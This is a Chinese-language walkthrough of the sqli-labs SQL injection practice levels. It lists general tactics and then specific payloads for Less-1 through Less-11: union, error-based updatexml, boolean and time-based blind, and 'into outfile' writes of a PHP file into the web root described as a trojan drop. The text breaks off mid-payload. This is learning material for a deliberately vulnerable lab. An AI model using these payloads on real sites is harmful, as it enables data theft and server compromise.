目录
第三关:Page-3 (Stacked Injections)
整体解决思路:
1、根据首页提示,结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,无论是错误回显还是正确的结果,直接上来先尝试拼接 XXX and 1=1 和 XXX and 1=2。
2、根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试 不带引号、单引号、双引号、圆括号、单引号+圆括号、双引号+圆括号、双圆括号。
3、如果根据提示、和以上各种尝试发现还是没有办法获取到有用信息,绕过方式失效,database(),则可以考虑分析一下源代码。
4、通常使用 order by 来判断列的数量的时候,基本上都是3列,因为slect * from users为3列。
5、进行布尔盲注时,先使用已知的Payload:and length(database())=8 和 and length(database())=7 进行判断,进而 substr(database(), 1, 1) = 's' 进行进一步的盲注获取结果。
6、如果遇到一些完全没有思路的时候,尝试着将后台可能使用的SQL语句写出来,再进行分析。
7、如果存在多个参数的时候,可以尝试不同的参数,不一定必须是第一个参数。比如用户名和密码,都可以进行尝试。
8、使用堆叠注入时,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,如果也没有报错回显,那么考虑写入木马文件的方式:select "<?php phpinfo(); ?>" into outfile "/opt/lampp/htdocs/sqli-lab/cache/mm38.php"
9、但凡是提交Post请求的地方,必须要确认POST请求的URL地址和正文数据。
10、在Select语句中的Order By字段,要么根据 列名 排序,要么根据列的 序号 排序,但是无法根据一个 列名字符串 进行排序。
11、报错注入时,要在报错的基础下进行报错注入,比如单引号时报错,双引号时不报错,那么报错注入的代码就要在单引号的情况下使用。
第一关:Page-1(Basic Challenges)
/Less-1/?id=-1' union select 1,database(),3--+ 或者 and updatexml(1, concat(0x7e, database(), 0x7e), 1) /Less-2/?id=-1 union select 1,database(),3 /Less-3/?id=-1') union select 1,database(),3--+ /Less-4/?id=-1") union select 1,database(),3--+ /Less-5/?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-6/?id=1" or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+ /Less-7/?id=1')) union select 1,"<?php phpinfo(); ?>",3 into outfile '/opt/lampp/htdocs/sqli-lab/Less-7/mm.php'--+ # 需要确认有写入权限, 也可以使用 id=1')) and length(database())=8 --+ 进行盲注 /Less-8/?id=1' and length(database())=8 --+ /Less-9/?id=1' and if(length(database())=8, sleep(5), 1)--+ /Less-10/?id=1" and if(length(database())=8, sleep(5), 1)--+ /Less-11/: uname=x' and updatexml(1, concat(0x7e, database()